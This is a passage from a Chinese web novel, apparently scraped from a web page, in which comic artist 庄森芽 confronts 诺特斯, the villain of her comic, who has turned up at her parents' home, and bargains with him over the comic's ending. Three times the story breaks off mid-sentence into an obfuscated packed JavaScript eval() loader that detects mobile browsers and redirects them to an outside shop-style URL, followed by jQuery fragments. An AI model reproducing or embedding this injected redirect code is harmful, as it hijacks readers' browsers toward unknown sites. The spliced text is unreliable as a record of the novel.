可是裴佑哲没有接过去,他靠向床头,有些冷淡地盯着庄森芽手里的药片和水。 对方摆出拒绝的态度,她以为是因为裴佑哲不知道这是什么药,不太信任,所以才不吃,于是解释说:“这是医生刚刚开的专治发烧的药,不是我随便去买的,你放心吧。” 庄森芽把手里的药片和水往前推了推,等待裴佑哲自己伸手过来拿。 裴佑哲还是没动作,只是嘴上说:“手没力气。” 庄森芽反应了一下,然后从椅子上挪到床边坐下,把药片捏在指尖,递到裴佑哲的嘴前。 伺候到了这个份上,眼前的病号终于肯大发慈悲,张张嘴把那粒药吞了下去。 指尖上传来柔软濡湿的感觉,庄森芽没太在意,连忙另一只手把水杯递上去,喂裴佑哲喝了口水,然后左手又把另一片药粒捏在指尖,趁他喝完水,又送进他嘴唇间。 裴佑哲全程倒是很配合,乖巧到近乎惹人怜爱的程度。 把药喂完了,庄森芽打算回到自己的小板凳上。 然而裴佑哲却伸手抓住了她的手腕,不让她坐回去,把人留在了床上。 庄森芽盯着那只骨节分明的手,感觉到自己手腕上是一股不容拒绝的力道。 她困惑地眨眼。 咦,他刚才不是说手没力气? “留下来陪我吧。”他说,面容平静得仿佛这不是一个请求。 庄森芽也不想把病号丢在这里,毕竟他模样难得这么脆弱,看起来非常需要有人陪同。 可是她真的有事,有急事。 而且她现在浑身上下被绘画社那帮人糟蹋得像是只七彩公鸡一样,虽然裴佑哲好似刻意无视了她的窘迫,但庄森芽自己受不了一晚上以这副模样待在这里。 “等下会有人来陪着你的。”庄森芽安抚性质地将手盖在对方的手背上。 裴佑哲有些困惑,“什么人?” “一个肯定能照顾好你的人。” 她话音刚落下,医务室的门就被推开了。 石玥诗走了进来,立在门口盯着室内的两人。她浅栗色的头发在脑后扎成了一个揪,上身穿着白色的坎肩,下身是一条卡其色的热裤,看上去活力又性感,宛如某个舞团的热辣领舞。 看到她走进来,裴佑哲微微皱起了眉。 “你怎么在这?”学生会主席的声音有些低沉。 “啊,玥诗是我叫过来的……” 裴佑哲看了庄森芽一眼,表情有些惊讶,仿佛怎么也没料到这件事是她做的一样。 “你为什么……” “我等下约了别人见面,很重要,不能爽约,所以就想着找个人过来陪着佑哲你。”庄森芽解释。 裴佑哲脸上闪过有些复杂的神色,他反复看着庄森芽两只眼睛,像想要从那之中刺探出什么来一般。 “佑哲,你怎么了吗?”石玥诗走上前来问。 裴佑哲把目光偏去一侧,用听不出什么感情的语调说:“我没什么事。” “他淋了雨,发烧了。”庄森芽说。 “淋雨?” “嗯,我见到他的时候,他在我们宿舍楼下的路灯旁边站着,看起来像是在等什么人……” 听完庄森芽的描述,石玥诗的目光落在裴佑哲的脸上,她的神情似乎别有深意。 庄森芽感觉自己的手腕被紧捏了一下,但还没产生什么痛觉的时候,裴佑哲就松开了她。 她不太清楚那是什么意思,猜测裴佑哲是在暗示她话说得太多了。但庄森芽心想,她只是把看到的一切陈述出来,而且一个人暗地里的付出不应该被埋没,他的等待必须被石玥诗知道。 石玥诗来到床边,坐在椅子上。庄森芽十分有眼力价地给这两个人腾出来位置,抓上自己放在床头柜的手机,直奔医务室的房门而去。 “那我先走了哦。” 她离开了医务室,门关上的最后一瞬间,屋内的画面定格在了一个静默的场景:石玥诗盯着病床上的裴佑哲,但后者没有看她。 离开的路上,庄森芽不由把刚才发生的一幕幕细嚼慢咽,并愤恨自己手旁没有一袋瓜子。 她依然搞不太清楚这两人的关系。 裴佑哲不惜在宿舍楼下冒雨等待石玥诗,可是当石玥诗出现在他眼前的时候,他又是那副爱答不理的模样。 简直是纠结,庄森芽不知道裴佑哲居然还有这样表里不一的一面。 石玥诗这边倒是很容易揣摩,怎么看都是喜欢,没什么弯弯绕绕,就是喜欢。说裴佑哲生病,她就来了,看样子她也愿意在对方康复之前继续照顾他。 可是……既然这样,为什么又要让裴佑哲在楼下苦苦冒雨等待?难道说,她不知道裴佑哲在楼下淋雨吗? 不过,不管怎么说,相比裴佑哲,她都看起来直率多了。 想到这里,庄森芽不禁在心中感叹一声。 总之,希望裴佑哲能早点认清自己的感情吧,别再互相折磨彼此了! 她一路小跑着回到了206宿舍楼,绕过建筑,往它背后的小花园赶过去。 已经将近十一点了,路上都没有多少人。正式开始上课之后,宿舍楼的宵禁也严格了起来,十一点左右就会锁上大门。 她祈祷着他们能速战速决,她可不想刚开学不久就给宿管阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208446|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨留下一个晚出不归的坏印象。 来到了宿舍楼背后的小花园,庄森芽四下张望,可是一个人影都没有看见。 距离约定时间已经过去了将近两个小时,听起来有点多,但他们要商量的是关乎生死的大事,如果是对方迟到,庄森芽觉得自己最起码有耐心能等到天明。 她来到最显眼的地方,站着那里,等待诺特斯的现身。 可是等了又等,头顶上的宿舍窗户都一个个暗了下去,校园里安静得连个走路声都再也听不到,那个男人还是没有出现。 难道他真的走了? 庄森芽有些焦虑地不停看着手机时间。 在十点五十八分的时候,她终于等不下去了,拔腿就往宿舍楼跑。 什么谈话之类的都之后再说吧!刚才说自己有耐心等他到天明其实完全是胡口乱诌。 她已经忍不了这浑身乱七八糟的彩绘了,急需洗个澡让自己焕然一新。 反正,那家伙想找她,随时都能找到,之前他一直都是这么做的,从来就没有约定过时间地点。 这么一想,这次约见还挺没有必要的,他完全可以找个时间,不顾她的意愿,就那么兀自出现,然后展开一场突如其来的交流。 这么正式的邀约反而让人觉得有点猫腻。 说不定诺特斯从一开始就没来,就是想看庄森芽苦等他的狼狈模样。 她觉得那个性格恶劣的人做得出这种事来。 回到宿舍之后,她就把这次的爽约抛在脑后了。心想着这次没见成,对方肯定还会再找上门来。 她已经差不多想好了要怎么和对方交涉,只等下一次交锋。 这场纠葛该是时候结束了。 怀抱着必胜的心态,把自己清洗干净的庄森芽倒在床上,在胜利的美梦中沉沦。 ## 第二天,她是被一通电话吵醒的。 闭着眼睛接起来,对面传来了中年女人的声音。 “芽芽,干嘛呢。” 梦里她也认得出来那是谁,是她最亲爱的老妈。 庄森芽翻了个身,“刚睡醒……” “都快中午啦,还睡呢?” “嗯,困。” 她和家里人基本上每天都有联系,就算不打电话,也会在家族群里道一声晚安。偶尔有什么事情,或者只是单纯想念,爸妈也会直接给她打来电话,所以在清早接到来自妈妈的通讯并不是一件值得意外的事情。 “我在家呆着呢,”电话对面的人说,“早上出去买了个菜,回来发现门口有客人,我就把他请进来了。” “唔……什么人?”庄森芽在半梦半醒间问道。 “一个外国人,说是你的朋友。” “哦……” 空气安静了半晌。 下一秒,庄森芽猛地从床上坐起来,“谁?” “一个外国帅哥,肤色挺少见的,人跟门框差不多高,普通话说得可厉害了。”母亲祁欢的声音听起来还带着点激动,不知是因何而起,“他说他叫什么来着,呃、诺德……诺特斯?对,是叫诺特斯。” 庄森芽睁大了眼睛,忍着没有爆发出尖叫,“他在家里!?” “是啊,他说你俩之间有事要聊,是你让他到家里来找你的。”祁欢丝毫没有危机意识地说,“他现在就在我旁边呢。” 34. 惊现演技派 听者几乎瞠目结舌,抓乱了自己的头发,感觉人要疯了,“让他接电话!” 她说完这么一句,当即离开床铺,几乎是跳到了一层,往自己身上披了件外套就冲出宿舍门。舍友们朝她的背影投来疑惑的视线,都不明白突然这么匆忙是发生什么了。 电话对面,短暂的安静过后,另一个声音响了起来。 “喂?” “你怎么在我家?!”庄森芽劈头盖脸招呼上去。 对面的人语气轻松,听起来像是在笑着的,“你没在约定时间出现,所以我只好来你家等你喽。” “你怎么知道我家在哪?”庄森芽质问对方,又觉得这个问题多余,男人最初能找到她的宿舍,自然大概率也有办法找到她的家,“从我家里离开!” “那就这么说定了,我等你。” 诺特斯完全没管她说什么,顾自回应了这么一句,暗示她回去找他,而后挂掉了电话。 “喂?喂?!” 靠! 庄森芽差点把手机摔在地上。 她立刻回拨过去,然而却打不通了。 给老爸打电话,手机也是占线。 “有病吧!” 这人跑她家里去干什么!? 走廊里一时回响着她愤怒的声响,有几个宿舍门敞开了,学生们探出头来好奇地打量着发生了什么。 庄森芽冲向电梯,在手机上花重金叫了辆快车,下楼直奔校园门口而去。 该死不死那家伙居然把她爸妈牵扯进来,她一定要他好看! 坐上了车,庄森芽依然在愤怒之中,脑海里思考着等回去之后要如何给对方一个下马威。 漫画后续她不画了,数据她也不要了,那点微薄的收入就让它们见鬼去吧,今天,就今天,她要把诺特斯画死,《灵月十四》到这里就完结了! 想到这里,她掏出自己的手机。 要么现在就…… 可是不行,手绘板她没带出来,而且现在要是贸然行动的话,诺特斯但凡知道她开始动笔画漫画,说不定会对她爸妈做什么。 不行,绝对不行,这样的事一定不能发生。 庄森芽愤恨地咬着牙,不停催促司机再快一点。 车辆走走停停,心情愈发焦灼,愤怒的同时,一种不安的情绪却愈演愈烈。 她还想起雏鸟周那时,自己犯了胃病,诺特斯突然出现,说要夺走她最重要的东西。 当时,男人的模样是认真的。 庄森芽不由闭眼祈祷起来。 在她到家之前,爸妈可千万不要出什么事啊。 到了公寓门口,车还没停稳,庄森芽开门一个健步冲了出去,以她平生最快的速度跑进公寓楼,看到两部电梯都停在遥远的十几层,于是犹豫了不到一秒,转头就往楼梯跑。 家在六层,她丝毫不敢停歇,爬上去的时候肺部都开始灼烧起来。 她扑到自家门口,用指纹开锁,门开了,她一头冲进去,大声呼喊—— “妈!” 没有回应,她急切地往里走了几步。 “爸!” 这个时候,厨房里传来叮叮咣咣的响声。 庄森芽一惊,赶忙往紧闭的厨房门跑过去。 哗啦一声响,推拉门被她拽开了,‘咚’一声撞在墙上。 庄森芽惊魂未定地望进去,一股油烟味扑鼻而来,呛得眼睛发酸,可她仍然大睁着它们。 她看到灶台前有两个身影,一个是她的妈妈祁欢,她穿着一身家居服,身前挂着做饭时穿的围裙,头发扎了起来,露出有些上了年纪的光洁额头。 而另一个则是那不速之客,他一身黑色长衣,宛如哪里来的特工一般。男人正从背面抓着祁欢的衣领,似乎正打算对她做什么。 听到开门声,两人都转过头来盯着门口的庄森芽。 庄森芽眼睛都瞪红了,“离我妈远——” “芽芽,你回来了!快,快关门,不要让油烟跑出去。”祁欢一连串的话打断了她。 庄森芽粗喘着气,瞪着眼前的诺特斯。 什么关门,现在最重要的是把这个恶徒轰出去! 她两三步来到厨房中的两人之间,一下子打开诺特斯的手,挡在自己的母亲身前。 祁欢察觉出女儿的不对劲,在她的身后问:“宝贝,你怎么了,怎么这么怒气冲天的?” 庄森芽没有回答老妈的疑问,伸手抓过一边发烫的铁铲,用它冲着诺特斯,“你给我滚出去。” 对面,诺特斯耸耸肩,指着她身边的铁锅,“菜才炒了一半,再不翻一翻就要糊了。” “什么菜不菜的,我让你消失!” “芽芽,干嘛这么对朋友说话……”祁欢不解地说。 “他不是我朋友!”庄森芽大声否定,抓着铁铲逼近一步,“你走不走?” 诺特斯举起双手,作投降状,然而嘴上却说:“我不走。” “你不走是吧。”庄森芽压低声音,反问了这么一句,下一刻,拎起铁铲就往对方的脑袋上砸。 她潜意识知道自己不会成功,诺特斯掌握着那种隐身的本领,什么物理伤害都对他无效,而且这种程度的袭击,他肯定单手就制服了。 但这并不妨碍庄森芽通过这种方式展示自己敌意的怒火。 一铲子砸下去,咚一声巨响,她顿时感觉自己的手臂发麻。 面前,诺特斯没有躲闪,甚至没用双手去抵抗,居然就这么被结结实实打了一下。 他闭起一只眼,一注血丝从额头上流下来,细长锋利的眉毛微微蹙起,除此之外,脸上几乎没有什么额外的表情变化。 “哎呀,芽芽啊,你怎么动手打人家呢!?”祁欢从背后拦住了自己的女儿,把铁铲从她手里抢走了。 庄森芽一时有点没反应过来。 她瞪视着眼前的诺特斯,因对方的这番表现而显露出迟疑。 心里疑惑着:这家伙为什么不躲? 祁欢把庄森芽拽开,而后凑到诺特斯身前,踮脚查看他额头上的伤口,尽责得像个护士长一样,“好像开了个口子,你在这里不要动,我去拿止血工具来。” 诺特斯冲她报以一笑,看起来是愿意配合以及表示感谢的意思。 祁欢把火都关了,匆匆离开厨房,走之前还不忘嘱咐一句,“森芽,你先离人家远点!” 庄森芽没听老妈的话,却是僵在原地,不善地盯着诺特斯。 激动的情绪冷静下来一些,她压低了嗓音问他,“……你什么意思?” 诺特斯用大拇指蹭了一下额头,盯着自己指尖的血迹,“我想吃饭。” “……什么?”庄森芽皱着眉,沉声质疑。 诺特斯指了一下热气腾腾的铁锅,“已经做得差不多了,我想留下来吃饭。” “……” 这人有病吧。 看起来精神不太正常,果然是个疯子。 她才不相信对方那番鬼话,认定他别有图谋,厉声问道:“你刚才想对我妈做什么?” “她说她围裙开了,就让我帮忙系一下。” “我听你在这胡扯。” 诺特斯垂下脑袋,一手捂着自己流血的额头,却是沉默了,倒显得有点无辜。 庄森芽想说“你装什么”,话还没出口,老妈就回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208447|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 祁欢抱着一个医疗箱,匆匆进入厨房,一把把女儿抓到身后去,“芽芽,你先去别的屋子里待一会。” “不是,妈,他——” 他是装的,刚才明明可以躲过去,却非要接下这不痛不痒的一击,就是为了借此摆出一副受害者的姿态,让人放松警惕。 “不管你和他之间有什么过节,动手打人是你的不对。”祁欢打断了她,打发她出去,“你先去客厅冷静一下。” 年长者从医疗箱里找出了止血棉,沾了些酒精上去,为诺特斯擦去脸上的血污。 庄森芽没有按照老妈说的话离开厨房,而是站在门口,阴森地盯着那个假模假样的男人,心里想着,但凡他敢有什么动作,她绝对饶不了他。 然而整个处理伤口的过程,诺特斯都很老实,就算被棉签碰到了伤口,也只是微微蹙眉,一声也不吭,乖巧得仿佛不像是一个因为一件小事不顺心就杀人灭口的大反派。 ……真会演戏。庄森芽在心里点评。 “还好只是破了一个小口,不是很深,程度还不需要缝合。”祁欢为伤员贴上医用纱布,用胶条固定住,确保伤口不会再受到二次伤害。 庄森芽一家都是医疗相关从事人员,不是那种职业的临床医护,而是专门研究仿生器官的一派,虽然比不上在医院里匆忙的医生和护士,但是基础医疗知识也懂一些,应付平日里的各种小病和跌打损伤绰绰有余。 祁欢处理完了诺特斯的伤口,把工具都收回了医疗箱,转身一看,发现庄森芽还在原地黑着脸站着,于是说道:“芽芽,跟人家道个歉。” 道歉?呸,绝不可能。 换个人站在这里,她早就低头认错了。但如果是这个诺特斯,没门,休想让她放低姿态。 庄森芽脖子一梗,像株不屈的雪松立在那里,说什么也不愿意张口。 见女儿这副模样,祁欢表情有些严肃。在她的视角里,并不知道诺特斯具体是什么人,或许只当他是个和自己女儿有些过节的外国友人,而庄森芽这么对待他是不礼貌的,并且很伤人心。 “森芽——” 祁母还想说什么,但一个声音盖过了她。 被庄森芽手里的铁铲逼进角落的诺特斯开口了,他目光十足诚恳,直视着刚才打伤了他的人,声音里几乎有一丝示弱的意味。 “以前的事情是我不对,你愿意听我解释吗?” 庄森芽顿时一个眼刀刺过去,恶狠狠地盯着他。 混蛋,说得好像有什么悔改之心似的…… 而且这话怎么听着这么奇怪? “解释?你想解释什么?”庄森芽没什么好气地问他。 “这个嘛……”诺特斯看了祁欢一眼,露出有些歉意的神情来。 已经身为人母的祁欢活了半辈子,似乎一下子就懂得了这个眼神,她环视一圈,立刻给自己找了点事做,“啧,这锅里还缺几样菜,我得出去买一趟。” 说着,她把身上的围裙解了下来,从柜子里翻出专门用来装菜的环保袋子,带上手机就要出门。 临走前还不忘了对女儿再三嘱咐,“好好聊聊,不准再对人家动手了啊,芽芽。” 祁欢这一套动作行云流水,一分钟之内,身影就消失在了公寓门后。 庄森芽有点呆愣地看着老妈离去的身影。 不是,就这么把她丢下了?让她一个人和这个男人孤男寡女共处一室? 妈,你这么放心我吗?? 虽然一开始让诺特斯离自己家人远点的目的达到了,但怎么会是这样的展开? 她是想让他夹着尾巴滚出去,而不是名正言顺地留下来! 35. 驱逐失败 “你妈妈的厨艺很好。”诺特斯冷不丁地说。 听到对方的声音,庄森芽又恢复一脸敌意的模样,提防地盯着他。 诺特斯开始移动脚步,庄森芽谨慎地呵斥:“就站在那里别动。” 然而她的命令对方根本不听。 庄森芽挡在厨房门口,诺特斯干脆不走那条路,直接从墙壁穿了过去,大摇大摆走进了客厅。 “喂,你……!” 男人来到沙发边上,从茶几的零食罐里挑了块牛肉粒出来,撕开包装送进嘴里,边嚼着,边惬意地栽进沙发里。 “奇怪啊,我记得你叫过我的名字,怎么现在好像变得完全忘记了似的。” 庄森芽走到茶几旁边,抱起那个零食罐,离对方远远的,不让他再吃一口。 “在我妈回来之前,你给我消失。” 诺特斯头往后仰,靠在沙发背上,两只手也搭上去,看起来就像休憩在海滩上的躺椅一样,“行啊,那你帮我把菜炒好,我吃完就走。” 妈的,这人是八百年没吃过饭吗,到她家蹭饭来了? 拧不过对方,庄森芽拉着脸对他说:“……说正事。” “我在听。” “要怎样你才能老老实实回到漫画中去?”庄森芽直接了当地问他。 诺特斯停止了咀嚼,猛地坐起来,用那双犀利的金棕色眼瞳盯着她。 庄森芽被他看得背后直冒冷汗,但她不想表现出弱势,强装镇定,用自认为十分狠厉的目光瞪了回去。 男人伸出手来,掌心朝上。 她盯着他,分析他又要搞什么把戏。 “再给我一颗牛肉粒,我就回答你。” ……? 庄森芽抱着零食罐,脸上是既严肃又有点困惑的神色,整体可以称得上是扭曲。 “快点,过期不候。” 她顿了半晌,一脸怀疑地从罐子里挑了颗牛肉粒出来,扔给对方。 诺特斯精准地接住了,把它拆开丢进嘴里,又懒洋洋地靠在沙发背上。 “就是我们一直说的,你给我个好结局,我也就找你没什么事了。”他说,“等到时候漫画完结,我们两清,我就乖乖从哪来回哪去。” 男人几番强调想要一个美满的结尾,庄森芽终于听出了些许端倪,她试探性地说:“可我等不了那么久,也懒得改故事情节,反正这篇漫画也不怎么挣钱,我发誓将来再也不画了,可以吧。” “不行。”男人想也没想似的,当即拒绝。 “为什么?”庄森芽顺着往下问。 “只有故事结束了,我才能自由。” 果然和她想的一样,庄森芽不禁露出一个略胜一筹的笑容。 “意思是说,你的自由在我手里?” 这时候,诺特斯站起来,走到庄森芽的面前,居高临下地俯视着她,脸上是阴沉的笑意。他光明正大从零食罐里挑了颗硬糖出来,在牙齿间咬碎了,那狠厉的模样仿佛他咬的不是什么零食,而是她脆弱的骨骼。 “别嚣张。”他说,用指尖去抬她的下巴,“你不知道我为了自由能做到什么份上。” 庄森芽用目光和男人对峙,丝毫不退避半分。 这场较量,谁先移开目光,谁就输了。 “我怎么不知道你这么喜欢自由。” “有关我的事情,你不知道的还多着。” “哈。”庄森芽毫不退让,“说作者不了解自己笔下的人物,你不觉得可笑吗。” “那我问你,我叫什么?” “诺特斯。” “原来你记得。”诺特斯露出一个装模作样的震惊表情,“你一直‘喂’、‘喂’地叫我,我还以为你记性不是太好,连自己笔下人物的名字都能忘。” 庄森芽在内心腹诽:叫你名字晦气。 诺特斯:“那我的姓呢?” “你家族谱都找不到上一页,哪有什么姓氏。” “哦,听这个意思,你连我前身是做什么的都不知道。” “好笑,说的好像你除了行凶作恶之外有什么正经职业似的。” 诺特斯:“这误会有点大吧。” 懒得和他再废话,庄森芽将话题引回正轨,“我管你之前是做什么的,你在我的漫画里就是个穷凶极恶的反派,就算我给你画出一个完满的结局,故事结束之后,漫画里的正义一方也会制裁你。” 等等,完结之后,漫画世界还会有未来吗? 这是个高深的论题,她当即放弃了深入思考,权当它有吧。 “那之后的事情就不用你操心了。”诺特斯说。 这时候,家门口传来了解锁的声音,两人噤声,同时往一个方向看去。 祁母拎着装菜的环保袋子走进来,发现两人呆站在客厅里,虽然距离很近,但气氛紧绷,俨然还是一副水火不容的架势。 祁欢也没就这点说什么,而像是个大家长那样用话题转移矛盾,“半个小时之后吃饭,我做了麻婆豆腐和可乐鸡翅,花了一上午才搞定,必须都给我面子留下来吃。” 她说了这么一句,然后一头扎进了厨房里。 祁母做饭虽然好吃,但是手生,在夫妻俩经营的光曙公司没有遇到财务状况之前,都是雇保姆到家里来做饭的。 但是现在公司濒临破产,夫妻俩决定用个人资产填补公司的亏空,这一填,把生活质量拉低了好几个档次。 为了省点日常开销,祁欢开始下厨做饭,她对待这件事很认真,因为她本身就是个对待什么都很认真的人,细心的结果就是战线往往被她拉得很长,每做一顿饭就像是在准备军备物资,忙得满头大汗,身心俱疲。 所以一般还是点外卖居多,非必要不做饭。 可今天也不知道是怎么了,居然做了几道硬菜。 厨房门关上了,吸油烟机的声音响起,炒锅里发出滋滋的声响,徒留客厅两人大眼瞪小眼,刚才充满火药味的交锋也暂时停歇。 “出去说。”庄森芽说着,把零食罐放下,就往大门口走。老妈回来了,他们不方便再在客厅大张旗鼓地谈话。 她打开家门,一回头,看到诺特斯半步没动,在那弯个腰从零食罐里挑东西。 火气蹭一下就上来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208448|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她拿出训练宠物才会用的那种简短语气呵斥道:“出来!” 诺特斯看也没看她,“我不要。” 脾气倒是挺倔,他要真是条纯黑苏俄猎狼犬,庄森芽现在已经抄起一个铁盆招呼上去了。 于是她又回到客厅,毫不客气地抓住对方的领口。他穿了件黑色长款皮外套,里面搭着个高领白毛衣,这一抓手感居然还不错。 庄森芽拎着他就要把人带出去,还没走两步,就听身后的人“嘶”了一声。 回头一看,只见诺特斯捂着自己的额头,指尖轻触上面盖着的纱布,脸上是一副忍痛的表情。 庄森芽看了直呼戏精,刚才他被打的时候连眼睛都没眨一下,现在开始装起疼来了。 而且她抓的是他的衣领,谁家衣领和额头的痛觉神经是连在一起的? 于是她选择无视对方的表演,继续拖着他往外走。 可没走两步,一股突然的作用力把她扽了回去,这感觉就像把牵狗绳缠在了一根电线杆上,猛地一拽,对方不但纹丝不动,自己却被拽得一个踉跄。 刚想回头看看对方又闹什么幺蛾子,然而视野还没稳定,她感觉自己膝窝被什么撞了一下,整个人顿时向后仰去。 “!” 她没摔在地上,而是被男人接住了。 诺特斯两条胳膊分别兜住她的膝窝和后背,轻轻一提就把人抱了起来。 “等、你干什么?” 诺特斯没理会,侧头打量着客厅的布局,用一条轮廓分明的下颚线冲着她。 “你放我下来……!”庄森芽挣扎,可是这个姿势实在是不好发力,推他肩膀也无济于事,想翻身也找不到发力点,掐对方脖子但被他轻松一甩就甩掉了,闹了半天还是被人毫无尊严地紧紧抱着。 诺特斯目光落在卧室门上,对怀里的人问:“那是你房间?” 挣扎得有点累了,她轻喘着气,但多半是气的,“你要干什么?” 没得到明确的回答,男人也不再询问,抱着人推开门就走了进去。 房间的主题色调是蓝色,从下至上由深及浅,像极了海洋。 墙壁上挂着几幅装裱起来的水彩画,靠墙的桌子上摆着各式各样的绘画工具,旁边的衣柜里挂着整整齐齐一排衣架,上面只有零散几件衣服,大部分都被拿去学校了。 脚后跟轻轻一踢就带上了门,诺特斯走到铺着蛋糕色被褥的床边,一下子把庄森芽扔了上去。 她在床上弹了一下,还没等坐起来,就被对方欺身压上。 阴影笼罩下来,男人两只手撑在她耳边,膝盖卡在两腿之间,将她死死困在了身下。 极具威胁意味的压迫让庄森芽感到不适,她挣扎着想起身,却被一只有力的手压着胸口按了回去。 “老实一点。” 男人已经收起了刚才那副受害者的无辜模样,恢复了他的本色。 一双狭长的眼睛眯起来,磁性的声音带着冰冷的金属质感,捕猎者的笑容令人不寒而栗。 心跳在威胁之下不由得加快了,庄森芽紧绷着脸,盯着近在咫尺的男人。 36. 开大要放在最后 虽然被困住动不了,可气势上又不想落于下风,于是只剩嘴上不服,“你跟人谈正事都是这样的?一言不合就动手动脚。” 诺特斯反驳,“先动手打人的不是你吗。” 庄森芽在心里狂嘲了一句:我打的不是人。 男人的视线坠下,将她整个纳入那双金棕色的眼中,“所以,给我个准信吧,你到底要不要配合?” “我有不配合的选项吗?” “当然有,人人都应是自由的。”诺特斯说,眼底闪过一丝残暴又疯狂的凶光,“只不过如果你选择不配合,下场会很惨,当然,我的下场也不怎么样。总之就是,都别活了。” 庄森芽一笑,凛然换上一副视死如归的面孔,“把无人可以奈何的□□拖下水,听起来我的形象会变得很伟岸。” “我劝你再好好想想。”诺特斯拿走了压在她胸口的那只手,转而用食指背面轻蹭过她的脸颊,“生命只有一次,谁都不喜欢看鲜花凋零,我也一样。” “我不需要你来怜香惜玉。” 诺特斯咧开嘴角,笑意在胸腔里翻滚,“你怎么像块金刚钻一样,油盐不进。” “我和恶徒没什么好闲聊的。” “就算我是恶徒,也不是你们这个世界的恶徒,你跟我同归于尽,没有人会去你的坟墓前表彰。” “……” 他这话说的倒是没错。 其实庄森芽也明白这个道理。诺特斯是漫画中的人,就算他最终如愿得到一个完满的结局,继续在那颗莱王星上作恶,那也和她没什么关系。只要这个男人像他说的那样在漫画完结之后消失,他也就再不会对现实世界中的人起到什么威胁。 虽然懂得这番道理,但庄森芽就是有口气出不去。 男人总像是把人当成什么有趣的玩物一样耍弄,这让她十分不爽。 这口气越怄越大,把理智都冲散了,让她一而再再而三挑衅这个能一掌把她脖子掐断的男人。 当下,被屈辱地压制在对方身下,这颗想要反抗的熊熊燃烧的心也没有熄灭。 但肢体和言语反抗她已经腻了,打又打不赢,一旦和对方针锋相对就总是自己吃瘪,她学乖了,不再往这些徒劳的方向投入精力。 反之,她要下一盘大棋。 庄森芽长叹了一口气,露出一副无可奈何的懈怠模样,“没意思。” “嗯?”对方发出疑惑的声音。 “我说这么僵持着很没意思。”庄森芽拧了拧身体,换了个舒服的姿势,一副好像她不是被对方压制在身下,而是自己选择躺在这里,“你不就是想要个体面的结局吗,我给你画就是了。” 诺特斯眨眨眼,表情略显惊讶,像是没反应过来她为什么突然变了主意。 “……你答应了?” “本来再有个几十章,尤梭把你所有的核心工厂打下来之后,会带着他所有的跟随者击败你。”庄森芽和他讲述了原本的剧情概述,“但我也可以改成你逃过了一劫,保住了性命,最终隐居深山。” “这不是变得一穷二白了吗。” 庄森芽质问他,“你还想怎么样。” “一个工厂都不给我留?” 得寸进尺。庄森芽在心里点评。 “那样剧情改动就太大了,我还要重新设计。”庄森芽佯装站在对方的角度替他分析,“你也想早点结束不是吗,这是最快的方式了。” 诺特斯沉吟了一声,似乎在思考这个方案的可行性。 然而他不知道的是,庄森芽此刻心里想的根本不是怎么让对方在最终的决战中逃之大吉,而是在想如何在这人没有觉察的情况下,瞒天过海,表面上看着剧情是在往诺特斯期待的方向发展,但在最终话时给他来一个措手不及,让这大反派魂归西天。 恶人别想有好报。 “……勉强也能接受吧。”诺特斯思考了一阵后说。 庄森芽双臂抱胸,要不是诺特斯的膝盖还卡在她的两腿之间,她直想把二郎腿也翘起来,“不过要我这么做,有条件。” 诺特斯一愣,紧接着露出不善的笑容,“我就说你怎么答应得那么快,原来后面还有东西等着我。” “没什么,都是很轻松的条件。” “说来听听。” “你先从我身上起来。” 现在已经到了谈条件的环节,双方是平等的地位,再这么以一方压制一方的姿态谈话就有点说不过去了。 诺特斯迟疑了一下,用眼神与她对峙片刻,最终还是配合地从床上挪了下去。 庄森芽起身,悠然坐在床边上,一条胳膊撑着桌角,终于把二郎腿心满意足地翘了起来,一副反客为主的模样。 虽然她本来就是这个房间的主人,但刚才气势太弱了,现在终于找回了当家的自信。 “条件有三个。”她举起三根手指。 “三个?你可真是狮子大张口。”诺特斯往后退了两步,坐在转椅上,把玩着桌面上一根削尖的铅笔,身体正对着她,但只留一个侧脸。 “第一,你不能向任何人透露我是《灵月十四》的作者。”一根手指捏下去。 诺特斯静静听着。 “第二,没有我的准许,不可以随便出现在我或者我的家人周围。 “第三,不可以再和这个世界上的其他任何人产生联系,也不能再引发任何骚乱。” 男人把铅笔在手中转了一圈,笔杆滚落在桌面上,咕噜噜撞到了一旁的三色收纳盒。 他撑起一只手,用手背拄着自己的脑袋,在庄森芽说完三个条件后回应道:“前两个可以再聊聊,但第三点……” “怎么?” 诺特斯冲她无邪一笑,“来到这个世界之后,见你之前,我去搞了个身份。” 听他说到这的时候,庄森芽已经开始有不好的预感了,果然,男人下一句话坐实了这个预感。 “现在我是希腊知名乐队的主唱,你去外网音乐软件上搜一搜,应该能搜到我的歌曲。” !这人有病! 去干什么不好,居然当什么歌手,隐姓埋名他是一点也做不到,非要去当那公众人物。 